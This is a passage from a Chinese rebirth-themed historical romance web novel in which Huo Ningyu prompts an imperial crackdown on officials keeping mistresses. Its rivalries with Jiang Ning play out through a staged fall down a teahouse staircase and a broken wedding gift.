“赵大人,皇上对官员养外室是什么态度?”霍凝玉想到自己的前世。
此风不可长。
她嫁入谢家,谢正阳私下却时常与江宁滚在一起,其实那段时间江宁也算谢正阳的外室。
而她也算男人养外室的受害者。
“你希望皇上是什么态度?”赵炳煜问道,其实不用想都知道。
“当然是重处。
女人嫁给男人,就组成了一个家,一个主内一个主外。
如果男人对自己的夫人爱重,对自己的子女尽责,作为主妇的女人,哪个不能把日子操持得井井有条?
偏男人要花天酒地,只爱娇颜。家里有夫人,不够,夫人给他纳妾,还不够,看到漂亮的就走不动道,进不了家门就养在外面。
你看我家,我父亲除了必要的应酬,都准时回家。
我父母成亲这么多年,从没红过脸。
就是有点小矛盾,我父亲都会让着我娘,过后再慢慢讲道理,夫妻一直很和睦。
你再看我们兄妹三人,感情深厚。一个病了,另两个都会担心得食不下咽。
你再看那些家庭复杂的人家,成天鸡飞狗跳,还算计来算计去。
最终家不成家,亲人不是亲人。”霍凝玉越说越激动。
而她的话深深震撼了赵炳煜。
他从没听过如此言论。
她说得没错,各家表面看似一团和气,而内里呢?
钩心斗角,相互算计,和个小朝廷没差多少。
赵炳煜定定望着眼前的小女人,她生长在这样的家族,难怪眼里揉不进一粒沙子。
谢正阳私会江宁,她决然退亲,不给自己留一点后路。
如果不是他好奇,她或许真会如她自己所说,等死之前再嫁人。
刚烈,无畏,勇敢。
赵炳煜深深闭了闭眼,又想到自己的母亲。
女子就当如此自强,方能活得肆意洒脱。
“凝玉,告诉我,你想如何处置梁御史?”赵炳煜想实现她的愿望。
第68章 皇上震怒
第一次,他叫了她的闺名。
可却没引起霍凝玉的注意。
此时她太激动。
“赵大人,你这话说错了,我与他无冤无仇,怎么也轮不到我想怎么处置。
有意见的应该是他的夫人和他的嫡子女。
他在养外室之前就应该想到会有暴露的一天。他就要做好声誉受损,从此抬不起头来,甚至丢官,不被家族所容。”
霍凝玉看似没有说怎么处置,而听着的赵炳煜却什么都听出来了。
这姑娘想他声誉受损,再丢官,再被家族厌弃。
“我知道了。”赵炳煜声音中带着笑意。
“你知道什么了?我告诉你,梁御史后来还是把外室接回了家。
结果那外室惯会笼络男人的心,而且心机深沉,害得梁家小姐被送去普陀庵,遭了那帮畜生的毒手,投环自尽。
而梁夫人痛失爱女,得了失心疯,不慎落入水中淹死,至于是怎么落水的,不用我说你也能猜到。
你说这样的悲剧可不可悲?就是男人管不住自己造成的。”
霍凝玉想到那对母女的最终下场,她替她们悲哀。
好在,普陀庵已经不存在。那帮淫僧也全部伏法。
或许她已经救了她们母女一命。
可谁知道那外室进门后又会想什么招来害那对母女。
霍凝玉的激动,她不自知,而听到后面这些话的赵炳煜身子却僵住了。
她在说什么?
“你是不是早就梦见过梁御史府里后来的事?”赵炳煜忽然严肃问道。
霍凝玉这才回过神来,警觉自己失言了。
可话已出口,无法收回。
“是,我早就梦见过,还有青黛。所以我才那么急地告诉你普陀庵的秘密。
希望你能早些把那帮畜生给拿下。
不然还有更多的姑娘沦为他们的玩物。”
“原来如此。”赵炳煜终于明白。
“你放心,我会让你满意的。”赵炳煜如发誓般留下这句话,告辞离去。
霍凝玉望着没入黑夜里的身影,有些怔愣。
她今晚怎么突然这么激动?
仔细回忆今晚说过的话,才发现,她在他面前已放下了心防。
已把他当自己信任的人之一。
那日,他说当他是她大哥。
难道她真把他当亲人了?
还是因为知道他没有享受过真正的亲情,她想给他亲人般的信任?
一时想不通的霍凝玉,回了自己的凝华院。
“小姐,您身上披的大氅是谁的?”玛瑙一眼就看出小姐身上的大氅不是府里的。
大公子二公子都有什么衣服,平时看他们穿没穿过就知道。
霍凝玉这才发现,她忘了还给赵大人。
“玛瑙,收起来,这是赵大人的,改日送还给他。”
这件大氅一看就知是用狐皮做成的,价值不菲。
接下来的日子,霍凝玉和霍鸣羡都没有再外出,
但一些消息通过青风还是传进了霍凝玉的耳里。
赵炳煜自那晚离开霍府后,就向圣上提了个要求。
皇城司只有五十几个人,实在太少。
他要扩充。
圣上问为何,他说他要专查官员养外室的事。
他手里这点人远远不够。
林叙卿的事对圣上的刺激也不小,同意了他的请求。
赵炳煜开始在禁卫军里选拔人才。
禁卫军里有很多宗室、世家子弟,底层兵丁很难有出头之日。
赵炳煜要选人,那些底层的兵丁都想趁此机会给自己争个前程。
竞争激烈。
赵炳煜选了一百多人,和原来的人手,共计两百人。
个个武艺不弱,还有些是上过战场杀过敌的军士。
经过短暂的训练,他就把人都派出去。
而朝中官员们只以为赵炳煜不甘自己手里人手太少,想扩充。
之前他办普陀庵案,还需借助京畿营的人手才一次性把人全部拿下。
现在他手里多了一百多人,也没引起文官们的太大在意。
十一月十七。
这日,霍凝玉刚上完课,吴娘子收拾书本离开,青风就来了。
脸上看不出有什么急事。
但那眉眼让霍凝玉就是看出一丝兴奋来。
“青风,是不是有哪个姑娘送荷包给你了?”霍凝玉故意打趣。
青风也是二十左右的儿郎。要不是身份特殊,早可以娶妻了。
可霍凝玉不是他真正的主子,不敢为他做主。
“小姐说笑了。是有好消息告诉您。”
“什么好消息?”
“昨日,大人已把这一个月来查到的官员养外室的事写了奏折呈到御前。今日早朝一定很热闹。”说完,青风的脸上明显带上了笑意。
一个暗卫,情绪也这
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么外露。
霍凝玉每日都通过青风知道赵炳煜在做什么。
他的速度可真快。
而此时皇宫的金銮殿上。
乾德帝目光如鹰隼般扫视了一圈殿里站着的朝臣。
突然他把一本厚厚的折子摔向群臣,惊得百官齐跪。
最前面的辰王正好跪在掉在地上的奏折前。
他小心翼翼捡起。
打开扫了一眼。
居然第一个名字就是他。
说他在城外庄子上养伶人数名,且都被他收用过。
谁?
谁查到的?
他那庄子守卫森严,消息是怎么走漏的?
他又往后看了几页,密密麻麻好些名字。
官职高低不等。
“看好了吗?”乾德帝冷冷问道。
“父皇,儿臣知错。”辰王跪得规规矩矩,把头埋得低低的,只差没低到胯下去。
“林德全,把折子给朕的好臣子念一念。”乾德帝威压释放全场。
吓得臣子们都忍不住缩了缩脖子。
林德全从辰王手里抽走,特有的尖厉嗓音传遍整个大殿。
“王世昌,在城南柳树巷养外室六年。
吴正堂,在城东马前街养外室三年。
梁子松,在城东芋林巷养外室十年。
......”
随着一个个名字报出,被点到名的官员都身子发抖,跪到御前。
“好!好!好得很!你们都是朕的好臣子。这一个月来朕让皇城司查永兴坊,倒比看花灯还热闹。
礼部侍郎养外室的事刚刚落幕,就查到兵部郎中藏美姬,连御史台的梁子松都在外养十年外室。
朕看这金銮殿站着的,十有六七都急着要当两家之主。
前些日子你们还**要整饬官场风气,原来是把德行都喂了外宅的狸奴。
王尚书,你外室头上的翡翠头面够边关将士们吃上一个月吧。
吴寺卿,你外室的浴池比朕的汤泉宫还大吧。
你们是不是觉得,朕真的老了,耳聋眼瞎了?”乾德帝越说声音越高。
明显的,脸色越来越涨红,被气得。
皇上震怒,一个不好,血流成河。
“臣有罪。”
“臣有罪。”
......
一个个都如鹌鹑般缩着身子认罪。
“皇上,请息怒。”赵炳煜看到乾德帝情绪过于激动,立即提醒。
第69章 升职了
乾德帝被提醒,深吸了几口气,才缓和下过激的情绪。
又狠狠扫视了一地的官员。
“所有涉事官员即刻停职,府邸由禁军封门,再搜查一遍。
既然诸位爱卿精力旺盛,明日卯时全都去太庙跪诵《南楚法典》。
三日不得进食,只许喝水。让列祖列宗瞧瞧,朕养了多少‘忧国忧民’的忠臣。
辰王削去兵部职务,三日后从太庙回来,闭门思过,直到过年。
名单上所有官员全部降职两级,永不升职,吏部尽快安排新人顶上,给朕过目。
那些养的外室,生有子女者,一律写了**契交给家中主母,任主母处置。无子女者,一律送去青楼,终身不得赎身。
此事交由皇城司监督完成,不得有误。
若让朕再发现谁在外头金屋藏娇,直接革去官职,沦为庶民。”
乾德帝这次决不姑息。
对此次涉事官员从重处罚。
官降两级,对于官员来讲,处罚之重。
有些人奋斗十年都未必能升一级,突然回落,无异于生生放了他们的心头血。
“家中女人为你们传宗接代,为你们操持家务,你们却背着她们金屋藏娇,沉迷美色。
我朝法典明确规定,娶妻需官府登记,纳妾需正妻点头,为官者不得玩妓,你们就是如此行事的?视我南楚法典如无物吗?
不让玩妓就养外室,这和玩妓有何区别?”乾德帝继续训斥。
这口气他不发出来,难以平复心里的怒火。
这日早朝,什么事都没有讨论,只处理了一大批官员。
很快,此事就传得整个京城都沸沸扬扬。
——
霍凝玉听完青风带来的消息,别提多兴奋。
她可以想像今日早朝会是什么光景。
“珍珠,玛瑙,走,我们出去逛逛。”霍凝玉立即吩咐。
她要去茶楼听消息。
一定很热闹。
百姓们茶余饭后最喜欢听朝中官员的各种辛秘。
今日的消息肯定能让京中百姓津津乐道一整年。
主仆几人来到悦景茶楼。
掌柜的本想派人去告诉主子,但被霍凝玉阻止。
今日赵炳煜肯定忙得脚不沾地,哪有时间来见她。
上了二楼,要了一间靠街的雅间。
刚一坐定,就看到外面好些禁卫,身着铠甲,手持**,跑步往一个方向而去。
茶楼里的食客们也都伸长了脖子向外看。
一队刚过去,须臾,又一队过去。
连续跑过五队人马,霍凝玉以为没了。
没想到又一队迎面而来,居然是巡城司的人。
领队的竟是谢正阳。
而且他一身武将才会穿的官服,一看是七品官服。
这是什么时候的事?
“青风,谢正阳升职了?”霍凝玉皱眉问道。
“回小姐,那次撞破林叙卿养外室的事,他就升了。
当时他只是一个小队长,手下也就十个人,之后他的上官给升到了小旗,手下有五十人。
这一个月来,大人在禁卫里招了一百多人,巡城司的人就趁机得了机会,好些进了禁卫军补缺。
巡城司一下空出不少职位,而他因那点小功,被提到了东城区巡检使一职,正七品。”
青风事无巨细把谢正阳这段时间的变化说出来。
霍凝玉懊恼,感情谢正阳还搭了她和赵炳煜的顺风车。
“你们大人知不知道这事?”霍凝玉又问。
“大人对这种小人物关注不多,或许知道,不过应该没放在眼里。
对了,小姐,我们大人也升职了。
虽然官职没变,但品级变了。
现在是正五品皇城司使,还被皇上授予校尉军衔,虽然只是六品,但为下一步晋升将军前进了一大步。”青风与有荣焉。
毕竟主子没去过战场,在京中就能晋升到校尉,已经很了不起。
而且他猜,主子再立功就能升将军了。
“那就恭喜你家主子了。”
就在两人说话间,谢正阳带着二十几人从她所在雅间下走过。
鬼使神差,谢正阳竟然抬起头向她看来。
霍凝玉并不避他,四目相对,谢正阳愣了一下,很快移开视线,向旁边看去。
“正阳!”一个娇滴滴的声音传进霍凝玉耳中。
原来江宁就在隔壁,难怪他要抬头看。
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>谢正阳看到霍凝玉在江宁隔壁,他想提醒,可当着下属的面,他不好做得太过,只是向江宁使了个眼色就打马走远了。
霍凝玉让丫鬟把雅间的门打开,让楼下的声音传得更清晰一些。
她是来听消息的。
果然各种议论声传来。
“哎哟,我做梦都想不到,王尚书居然也养外室,他可是驸马爷的亲哥哥,王家家主。
他还能缺了女人?真是想不通这些贵人是怎么想的?
看上哪个女人,直接接回府享用,再给个妾的名分不就得了,非要做这等丢人的事。”
“这你就不懂了吧。这些个世家子,高官显贵们最是爱惜名声。
妾不是想纳多少纳多少,圣上作为我南楚帝王,宫里也才十几个有名份的妃嫔,谁敢越过帝王去?
圣上一般不出宫,每日看到的也就宫里那些美人,可这些显贵们就不同了,什么场合不去?
朝廷是规定官员不得押妓,可把衣服一换,再稍作改装,还不照样往那窑子里去,或者画舫上钻?
而这些地方,那美人可就多了,一个个都是调教过的,能把人的魂都给勾出来。换你,你顶得住?
所以呀,只能养在外面了。就连辰王都养了一群伶人在城外庄子上供自己享乐,更别说其他官员了。”
“你这么一分析,还真是那么回事,如霍尚书那样的好男人,真是凤**麟角。”
听到这里,霍凝玉一口茶差点喷出来。
“青风,去看看是哪位公子在夸我父亲,这里有五两银子,去给他结账。”霍凝玉大方拿出一锭银子递给青风。
“小姐,赏得好。”玛瑙支持小姐的举动。
“我们家大人就是天下最好的男人,没有之一。”珍珠也凑趣。
“你们两个也有赏。”霍凝玉一高兴,又从荷包里摸出碎银打赏两个嘴甜的丫鬟。
一个个喜笑颜开。
青风拿了银子下楼,没过多久,后面却跟了两个人上来。
“小姐,两位公子来谢赏。”青风让开身子。
两个有一面之缘的男子出现在眼前。
霍凝玉见到其中一人,脸上的笑容稍稍淡了下去。
第70章 毒舌
正是一月前在墨韵文汇阁见过的廖含章。
另一人也是当日在场之一,约三十左右。
眉目清朗,一身交襟灰色长袍,显得儒雅斯文。
此人霍凝玉前世魂飘时也见过,正是明年殿试的榜眼。
后来他什么情况,不清楚。
此人虽有才,却不善专营,与廖含章天差地别。
“见过霍乡君,真是巧,咱们又见面了。”廖含章自来熟地一揖。
“在下云栖郡鲁谦昀见过霍乡君。”鲁谦昀也跟着一揖。
“刚才听得有人夸赞家父,是哪位?”霍凝玉淡声问道。
“是,是在下。”鲁谦昀又一揖,略带几分羞涩之意。
背后说人,却被听到,非君子所为,哪怕说的是好话。也是在背后道人是非。
霍凝玉颔首。
廖含章果然是那个长篇大论的那人。
而鲁谦昀就含蓄得多,只是应和一下。
“相遇即是缘。霍乡君,可否一起饮茶,那日与令兄相谈甚欢,今日得见乡君便觉亲切异常。”廖含章逮住机会就顺杆子爬。
“这位公子,我们小姐与你可不熟。”珍珠见此人脸皮真厚。
“珍珠,无妨。廖公子,鲁公子请坐。”霍凝玉做了个请的手势。
她对廖含章不感兴趣,但对鲁谦昀想多了解一下。
她重生前都没听到多少关于这位榜眼的消息,估计就是被同科的廖含章太会钻营给比下去了。
两人都坐到霍凝玉对面,侧头就能看到窗外。
“两位公子请用茶。”玛瑙为两人斟了茶。
“鲁公子来京多久了?”霍凝玉先开口。
“在下进京已一月有余。”鲁谦昀回一句话就作一个揖,很有礼。
“你是一人进京,还是带着家眷?”霍凝玉又问。
“与内子一起来的,她怕在下一人在外吃苦,跟来为在下操持生活琐事。”鲁谦昀说到妻子,脸上的微笑浓了些。
“鲁公子真是娶了个好妻子。难怪会夸我父亲。这是有感而发。在此我以茶代酒敬令夫人。她是个好女人。”霍凝玉端起茶杯向鲁谦昀示意了一下,饮尽。
“在下代夫人谢霍乡君。”鲁谦昀也端起茶替自己的夫人饮下。
“廖公子呢?也是带着夫人一起进京的吗?”霍凝玉顺口也问问。
“在下夫人福薄,于一年前难产去了,留下稚儿三岁。”廖含章面露悲戚。
“节哀。”霍凝玉回想了一下,好像他是另娶了妻。
“无事,人的命运,上天自有安排。”廖含章很快恢复自然。
“霍乡君,我们深知霍尚书公务繁忙,本不当打扰。
只因仰慕他当年状元之才,在下与鲁兄这几日撰策论两篇,不知是否方便劳烦您转呈霍大人。
请霍大人得空时,给予些许点拨斧正,不胜感激。”廖含章又道。
这些日子,他多次去墨韵文汇阁,再没遇到霍鸣羡,很失望。
他本想与霍鸣羡深交,借机与霍鹏程牵扯上关系。
今日遇到了霍凝玉,他自是不想错过机会。
鲁谦昀一怔:“......”
脸皮是不是太厚了点。
脸上有些烧。
可,这时廖含章在桌下轻轻碰了一下他的腿。
“对对对,在下进京这么久,也只是与一些学子们相互交流。若是能得霍大人点拨,真是三生有幸。”鲁谦昀红着脸,只得顺着廖含章的话说。
“行啊,给我吧。”霍凝玉很大方应下。
至于父亲有没有空,愿不愿意就两说了,但可以给大哥看看,这两人什么实力。
两人一听,很高兴。
从怀里拿出他们这几日写的策论,郑重地递给霍凝玉。
两人达到目的,不好意思久留,起身告辞,毕竟对方是未婚女子。
其实廖含章很想多与霍凝玉聊聊,可有人一起,他不能表现出异样。
“咦?霍凝玉?这倒巧,你也在此。”门口传来一声略显惊讶的呼声。
霍凝玉不用特意看就知道是谁。
“县主,好巧。”霍凝玉起身向慧兰县主一礼。
而她后面正是江宁。
刚才就知她们在隔壁。
“见过玉姐姐。”江宁表现得很温婉柔顺。
当真能屈能伸。
“这两位是?”慧兰县主看到廖含章两人,不认识,奇怪问道。
大庭广众之下,霍凝玉居然敢与陌生男子私会。
“在下是进京
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赶考的学子,广凌郡廖含章,这位是志同道合的朋友,云栖郡鲁谦昀。”廖含章一听是县主,立刻热情地自我介绍。
那看人的眼神比第一次见霍凝玉还要热烈一分。
但他还知道分寸,不敢太放肆。
“两位公子是想找霍大人点拨吧?你们应该找霍大公子,而不是找霍乡君,她毕竟是女子,不可坏了名声。”这时江宁温声提醒。
一副为霍凝玉好的语气。
这是变相说霍凝玉不守本分,居然在大庭广众之下私见外男。
“这位是?”廖含章收起笑容。
“廖公子,这位就是大公主新收的义女,正要嫁入忠义伯府。”霍凝玉很乐意介绍。
她知道廖含章肯定有话要说。此人本就靠一张嘴,惯会攀权附势。
“在下长见识了。在下没记错的话,你之前就是霍家的义女吧?你与忠义伯府大公子那点事就不说了,你们情比金坚。
可古语云,忠臣不事二主。你既已认了霍尚书夫妻为义父母,怎么刚一出霍家就认到了大公主名下?
你可知这也是有失纲常啊。”廖含章说得直白,那嘴真不是白长的。
骂人不带半个脏字。
霍凝玉听得心里暗爽。
廖含章果然没让她失望。
本看他不太顺眼,但此刻却暗赞其毒舌。
“你......”江宁被气得双目圆瞪。
而慧兰县主并不帮江宁。
她本就不喜江宁,要不是母亲用得着江宁母女,她才看不上江宁这等货色。
“廖公子,你说此话就不怕传到大公主耳里吗?”江宁很快压下心绪。
“在下问心无愧,你刚才说话本就刻薄,以为我等都是傻子吗?
本是你做错了,你暗讽霍乡君不守本分,而真正不守本分的是谁,想来你应该很清楚。”廖含章为了讨好霍凝玉,越说越直白。
他早就了解过,大公主也就身份尊贵,所行之事却让人不齿。
况且他又没说大公主的坏话。当着大公主的女儿,他也不敢。
“县主,我们走吧。”江宁无地自容,拉了拉慧兰县主,想走。
“怎么回事?”这时一个突兀的声音在门外响起。
第71章 使坏,摔断腿
正是戴着钟馗面具的赵炳煜。
他一到门口就看到雅间里这么多人。
以为一进来只会看到霍凝玉坐在窗前独饮,或者在等他。
结果不是他期盼的景象。
众人一看是他,纷纷见了个礼。
霍凝玉就把刚才的事说了一遍。
赵炳煜戴着面具,不知喜怒。
“你们都走吧,本官与霍乡君有事要谈。”赵炳煜赶人。
几人鱼贯而出。
赵炳煜几不可察地向青风使了个眼色。
青风退出。
只是还不到两息时间,霍凝玉就听到了一声女子的尖叫。
霍凝玉立刻跑出雅间,想看个究竟。
她已听出是江宁的声音。
一出门就看到慧兰县主正摔趴在楼梯口,两个丫鬟正要扶她起来。
而江宁已不见人影。
霍凝玉趴到围栏上向下看,就看到江宁“哎哟,哎哟”叫唤着。
那痛苦的表情就知道摔得不轻。
再看她摔的位置。
滚下楼梯的?
“小姐,你怎么样?”丫鬟丁香焦急地想要扶起江宁。
可是江宁疼得完全无法扶起。
“丁香,我的腿好疼。”江宁眼泪夺眶而出。
“这可怎么办?”丁香急得如热锅上的蚂蚁。
“问问茶楼里有没有大夫。请来先给我看看。”江宁忍着疼痛吩咐。
丁香也不敢走开去找掌柜,就地扯开嗓子叫起来:“请问有没有大夫在此?我们小姐从楼上摔下,请帮帮忙。”
还当真有个大夫在这里喝茶休闲。
“老朽正是大夫,老朽来看看。”一个老大夫今日与老朋友相约在此闲聊。
老大夫上前捏了捏江宁说很疼的位置。
“这位小姐,你这腿摔断了啊,不可移动,需得固定一下才可。”老大夫很遗憾地说出诊断结果。
“小姐。”丁香听了,吓得直哭。
老大夫让小二拿了两双筷子来,分别放在江宁左小腿的四围,再缠上布条固定。
此间,江宁疼得不停呻吟。
掌柜的知道后,过来,在旁赔了几句小心。
慧兰县主并没有多说什么,让几个丫鬟把人抬上马车回府。
霍凝玉看完整个过程。
进了雅间,脸上的笑容怎么都藏不住。
她想到上次自己不小心踩空,差点也如江宁一般滚下楼梯。
要是当时赵炳煜没有及时捞住她,估计她也如江宁这般,摔断了腿。
“你让人做的?”霍凝玉猜测问道,笑得眉眼弯弯。
这个茶楼是赵炳煜的产业。
楼梯要是三天两头有人摔下去,估计这茶楼肯定开不下去。
说明只能是人为。
“青风。”赵炳煜没有直接回答她,而是把青风叫进来。
“小姐,是属下所为。”青风很实诚。
“哈哈......”霍凝玉大笑几声,心里真的很欢愉,“你是怎么做的?”
慧兰县主既没为难掌柜,也没冲谁生气。
其中定有什么让慧兰县主心虚。
“江姑娘走在前面,慧兰县主落后一步。
县主不小心被自己的裙子绊了一下脚。
没站稳,向前扑,正好扑在江姑娘后背,而那时江姑娘刚好到楼梯口。”
青风简单描述了一下。
没有一句提到他做了什么,但霍凝玉已经想到。
慧兰县主哪有那么巧会被自己的裙子绊一下,肯定是青风所为。
而且还让慧兰县主没有察觉,以为是自己真的不小心,才导致江宁滚下楼梯,还把腿给摔断了。
慧兰县主心虚,所以才什么话都没说,带着人就走。
江宁下个月初八就要成亲,还有二十天。
伤筋动骨一百天。
也就是成亲那日,她还不能走路,大概是京中第一位瘸腿新娘吧。
霍凝玉忍不住又笑了一场。
赵炳煜看到她笑得那么开心,也跟着勾起了唇角。
原来她这么容易满足。
“赵大人,你太坏了。”霍凝玉笑骂。
“从来没人说本官好。”
“呃......我不是真的说你坏,我那是在夸你。”霍凝玉噎了一下,“你怎么有空来这里?你今日应该很忙才对。”
霍凝玉看到那么多禁卫出动,就连巡城司的人都出动了。
“本官又不用亲自去抓人,不忙。只需安排好即可。”赵炳煜得知霍凝玉来了悦景茶楼,就知道她出
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来听消息。
他想来亲自告诉她。
“皇上最终是如何处罚的?”霍凝玉好奇问道。
“本官这一个月来,查到十五个五品以上,八个五品以下官员养外室。
皇上下旨,涉事官员全部降两级官职。所有外室,生有子女的签下**契交给各家主母,没有生育的直接卖入青楼。
同时搜查养外室官员府邸,是否有违制的东西。如有违制的,一律收缴。”赵炳煜简单说道。
“哦,也就是这些养外室的官员要大出血一次了?”霍凝玉一听就懂。
“搜府,哪有只是看看的,肯定要收走一些东西,要是发现哪家的财物与身份不匹配,没收。”霍凝玉直白说出来。
“没错。”赵炳煜颔首。
聪明的姑娘。
“难怪派出那么多禁卫和巡城卫。我还看到谢正阳也参与其中了。”
“不过是个跑腿的活。他只是抓外室,没有油水。”赵炳煜并没有把谢正阳放在眼里。
也就忠义伯手里还有些权柄。
忠义伯在前,他想出头,除非有莫大的本事,或者去战场拼杀出一条血路。
在京中待着,忠义伯死之前,他也就今天这样的位置了。
“只是那些没有生育的卖去青楼是不是过分了一点?”霍凝玉有些不忍,明明是男人犯了错,为什么女人要受到重罚?
“本官已查清那些外室的身份,都出自青楼。
你大可不必为此心怀愧疚。
但凡清白人家的女儿,就算给人做妾也要循着一定的规矩进府,不会做那见不得光的外室。”赵炳煜安慰。
“哦,那还好。你办成了这么大一件事,是不是更加遭人恨了?”霍凝玉想到他的名声。
“本官不在乎。”赵炳煜无所谓。
想到那晚,在霍家园子里,霍凝玉说起梁御史妻女的下场时,那激动又难过的样子,他不怕因办了这件事而招来受罚官员们的恨意。
“可否告诉我都是哪些官员犯了事?”霍凝玉又问。
赵炳煜知无不言,把五品以上的十五人说给她听。
霍凝玉听后,认真想了一下。
越想她脸上的笑意越浓。
怎么那么巧?
第72章 出人命了
十五人里居然一半是辰王后来的拥护者。
现在全都降了两级,而且永不得升级。
辰王估计要气吐血了吧。
而且辰王也在受罚之列,虽没养外室生出孩子来,但一群伶人都被他收用过,性质一样。
真是无心插柳柳成荫。
前世魂飘时,她也去他城外的庄子上看过,守备森严,很难混进去。
“你是怎么查到辰王的?”霍凝玉很好奇。
“十日前,有个伶人被丢去了乱葬岗,正好被我的人看到。
跟踪过去,发现人还没死透,带回城救活,把庄子上的一切都说了。
她不过是不小心打翻了一碗汤在辰王身上,就遭到一顿毒打。”赵炳煜说到最后,长长叹了一口气。
辰王越发心狠手辣了。
本来此次查外室,不用把他牵扯出来,可想到三皇孙落水一事,他忍不住想给他个教训。
特意把他养伶人的事向圣上禀明,并说得夸大了些。
果然如他所料。圣上对此十分生气。
“辰王那个庄子上前后不知**多少伶人。”霍凝玉也感叹。
辰王根本没把伶人当人,不过是玩物。
有些他玩腻了,就扔给下属,名曰:打赏。
这时余征匆匆跑来。
“大人,出人命了。”
“谁**?”赵炳煜不慌不忙问道。
“梁御史养的那个外室,被他夫人当场给打**。”余征说道。
“快说说怎么回事?”霍凝玉双眼放光。
她重生两个月,改变了这么多人的命运。而且都是往好的一面发展。
不错!
余征就把事情的经过讲了一遍。
原来他正好被分配去带梁御史的外室去梁家签**契。
那女子是十年前被梁御史悄悄从青楼赎出来的清倌人,养在外面。
还生了一个女儿,都八岁了。
今早早朝上的事,如风般很**进京里各家各户,尤其官宦之家。
而梁夫人昨夜居然做了一个噩梦,梦见自己被一个女人给害**。
而当余征带着那个外室来到梁府,梁夫人一看到那女子的容貌,大吃一惊。
原来在梦中害死她的人就是那外室。
但她按兵不动,余征拿出**契出来给她,她还微笑着收下了。
外室当着梁御史的面,给主母敬茶,而那杯茶刚到梁夫人手里时,茶杯莫名其妙碎了,茶汤烫红了梁夫人的手,当场发作,重打十板。
梁御史被圣上连降两级,本就心亏,不敢当着余征的面为外室求情,结果十板子,那外室就**。
“看来梁御史把外室养得很娇气嘛,才十板子就把人打**。赵大人,梁夫人此举会受到处罚吗?”霍凝玉并不同情那外室。
“已经签了**契,官府一般不追究。”
霍凝玉恍然。
梁夫人当天就打**入门的外室,很快就传得好些人家知道。
有三家的主母也有样学样。
一天时间京里就**四个刚入门的外室。
霍凝玉得知这些消息后,心情有些闷闷的。
回到霍府,找大哥抒发心情。
“大哥,我感觉我的手沾了鲜血。”
“怎么会?她们的死与你何干,错的是那些男人。真正的凶手是她们的夫主。
如果他们不养外室,哪来的这些事?妹妹不要多想。
你不是说梁夫人和梁小姐后来被那外室给害**吗?
其实你是做了好事,救了她们母女。
或许别家也可能发生同样的事,你救的不止梁氏母女,说不定更多。”霍鸣羡劝慰。
妹妹经过一世,人还是如此善良。
霍凝玉被大哥的话安慰道。
时间很快滑到十二月初八。
这一日,大公主府嫁义女江宁,忠义伯府娶大儿媳妇。
霍家收到大公主府送来的请帖。
谢府为了面子,也送来了请帖。
谢二公子亲自送来的。
自两家因儿女婚事闹了矛盾后,再无来往,谢正齐也不再上霍家向霍鹏程请教学问。
他的学习很快就一落千丈。
忠义伯夫妻很后悔失了这门亲,谢正齐后悔没有维护好与霍家的关系,失了这么好的先生。
他想借此上门认错,可容华芝连请帖都没收就把人打发出去。
注定不会上门,收它作甚。
但大公主府必须去。
昨日,江宁邀请霍凝玉过府去添妆,霍凝玉没去。
京中不成文的规矩,姑娘出
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阁前一日,交好的闺中好友上门添妆。
如果来添妆的小姐越多,说明姑娘人品越好。
霍凝玉当然也准备了一份添妆礼,今日再给也不迟。
这些日子,容华芝把**母女用过的旧物一一装箱。
大公主为此还特意派人来问。
她不得不把这表面功夫做好。
还特意系了红绸。等大公主准备的嫁妆抬出府,她再安排人抬上跟在后面即可。
这样做,给霍府也挣面子。
如果直接送进公主府再抬出来,就不好说这是霍家给的了。
母女俩来到大公主府,并没有霍凝玉想像的那般热闹。
一个义女罢了,京中没多少人会放在眼里。
有些人家派个管事把礼送到,有些人家只派了家中晚辈来走个过场。
霍家也只得霍氏母女来。
霍凝玉一来就被丫鬟领着去新嫁娘的闺房中,已经有几家小姐到了,正在陪着新娘逗趣说笑。
江宁已经梳妆好,真是人比花娇,艳若桃花。
她长了一双狐狸眼,美眸一眨,就能勾魂摄魄一般。
难怪勾得谢正阳情根深种。
“玉姐姐能来,我很高兴。”江宁娇羞笑道。
而那眼神却带着沾沾自喜和一丝挑衅。
如战胜的公鸡在炫耀。
霍家把她赶出府又如何,她们母女攀上更高的高枝,还是如愿嫁进了忠义伯府。
上天眷顾的人,谁也改变不了她的命运。
“腿好了吗?”霍凝玉也淡淡一笑,提起她前不久摔下楼的事。
“多谢玉姐姐关心,好得差不多了。”就是没好,她也会说好。
“那就好,今日是你大喜的日子,会很累,希望你能坚持到坐到喜床上。全程最好让你的丫鬟不要离你左右,随时搀扶着,别让腿受力过重。”
霍凝玉表现出很关心她的样子。
“对了,昨日事忙,没来给你添妆,今日送你也是一样的。”霍凝玉从珍珠手里接过一个精美的红漆木盒。
“玉姐姐送的一定是好东西。”江宁向丫鬟丁香示意。
丁香主动上前接过。
可就在她拿到手时,手指却莫名一疼,如针扎。
手一松,整个木盒掉到地上。
第73章 不祥之兆
盒子被摔得自动打开,赫然是一对精美的白玉雁,价值不菲。
可是这一摔,其中一只白玉雁当场身首分离。
“我的天。”几个小姐一见都发出一声惊叫。
那可是白玉雁啊。
大雁象征夫妻忠贞,白头偕老,是极为贵重且应景的礼物。
如今这么有象征意义的添妆,因丫鬟失手打碎了。
这不是意味着,江宁的婚姻也会如这只大雁一样吗?
“这也太不吉利了,有头无尾。”有位小姐忍不住说。
婚礼出现这种“不祥之兆”是极大的忌讳。
“小姐,奴婢不是故意的。奴婢刚才手一疼才失手的。”丁香立刻跪下,还替自己辩解。
可她又说不出什么原因,她的手莫名就一疼。
当时霍凝玉递给她时,两人的手并没有接触到。而且还离得比较远,一人拿一头。
江宁看到摔碎的玉雁,她知道霍凝玉是故意的,可东西是从她的丫鬟手里掉到地上的。
“江小姐,你这丫鬟也太不中用了。这么轻的东西都拿不稳。”顾佳倩夸张地说道,而心里却是幸灾乐祸。
江宁再会装,此刻也装不住,抬手就给了丁香一巴掌。
“没用的东西,滚下去。”
丁香立即退出。
她本就只有两个心腹丫鬟。
现在少了一个。
“宁妹妹,碎了就碎了,不过是个物件。我这里还有一样东西给你。”霍凝玉从自己的手腕上摘下一个通体透亮的翡翠玉镯。
“这是三年前,忠义伯夫人送给我的。
她说这是谢家只传给嫡长媳的物件,一共有两只,她先给了我一只,说是等我嫁过去,掌家以后,再把另一只给我。
而我与谢家退了亲,可他们并没有要回这个镯子。
既然是这么重要的东西,我也不好拿着,今日趁你出嫁,就给你吧。以后你就是谢家的嫡长媳,你戴才正合适。”
霍凝玉说着,牵起江宁的手,亲自给她套上。
江宁被她拉着手,当着这么多人的面,她只能僵硬地被迫接受。
